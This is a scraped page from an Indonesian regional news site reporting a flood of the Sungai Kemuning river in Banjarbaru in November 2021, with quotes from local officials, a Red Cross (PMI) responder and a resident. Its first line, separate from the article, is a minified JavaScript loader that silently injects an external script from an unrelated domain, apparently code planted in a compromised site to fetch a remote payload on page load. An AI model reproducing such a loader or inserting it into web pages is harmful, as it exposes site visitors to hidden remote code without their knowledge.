(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Hujan yang turun sore tadi di Kota Banjarbaru mengakibatkan meluapnya Sungai Kemuning hingga menggenangi beberapa permukiman di sekitar bantaran sungai, Kamis (11/11/2021) petang. Namun hingga pukul 20.00 Wita, debit air sungai sudah mengalami penurunan.
Lurah Loktabat Selatan, Astri, membenarkan adanya penurunan debit air yang signifikan.
“Air sudah mulai surut tidak terlalu lama, dari info warga penurunan terjadi sekitar habis maghrib tadi dan arus Sungai Kemuning sudah kembali stabil,” ujarnya.
Astri mengharapkan untuk warganya agar selalu waspada ada air susulan dari dari hulu.
“Kita harapkan tidak ada lagi susulan, akan tetapi untuk warga harus tetap waspada,” ungkapnya.
Ruas jalan di permukiman warga sudah tak lagi terendam, Kamis (11/11/2021) malam. Foto : ibnu
Baca juga : Ketua DPRD Kapuas : Tenaga Kontrak Tetap Diakomodasi, Dana Pilkades Sudah Dianggarkan
Sementara itu, Staf Penanggulangan Bencana PMI Kota Banjarbaru, Aiman mengatakan, telah menyiagakan seluruh relawan apabila ada terjadi bencana banjir di Sungai Kemuning.
“Kita sudah melakukan penyisiran dari Kemuning, Loktabat Selatan, Cempaka dan beberapa tempat yang menurut kami rawan terjadi banjir,” ungkapnya.
Aiman menambahkan PMI siap membantu warga apabila terjadi bencana banjir dan sudah menyiapkan armada beserta peralatan kebencanaan.
“Kami siapkan unit pikap dan perahu karet apabila terjadi banjir kami langsung meluncur,” pungkasnya.
Hujan Deras, Sungai Kemuning Meluap
Hujan lebat disertai angin kencang terjadi di Kota Banjarbaru, Kamis (11/11/2021) sore, akibatnya di beberapa titik permukiman warga air naik akibat Sungai Kemuning meluap.
Kenaikan air terjadi di beberapa titik di bantaran Sungai Kemuning.
Air menggenangi jalan kurang lebih selutut orang dewasa dan mulai memasaki beberapa beberapa rumah warga di Kelurahan Kemuning dan Kelurahan Guntung Paikat, sehingga warga harus mengungsi sementara ke daerah yang lebih tinggi.
“Hujan deras mulai pukul 15.40 Wita hingga saat ini belum berhenti dan air sudah masuk ke rumah kami,” ucap Hasan, salah seorang warga Kemuning.
“Air langsung naik,” ujar Hasan.
(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.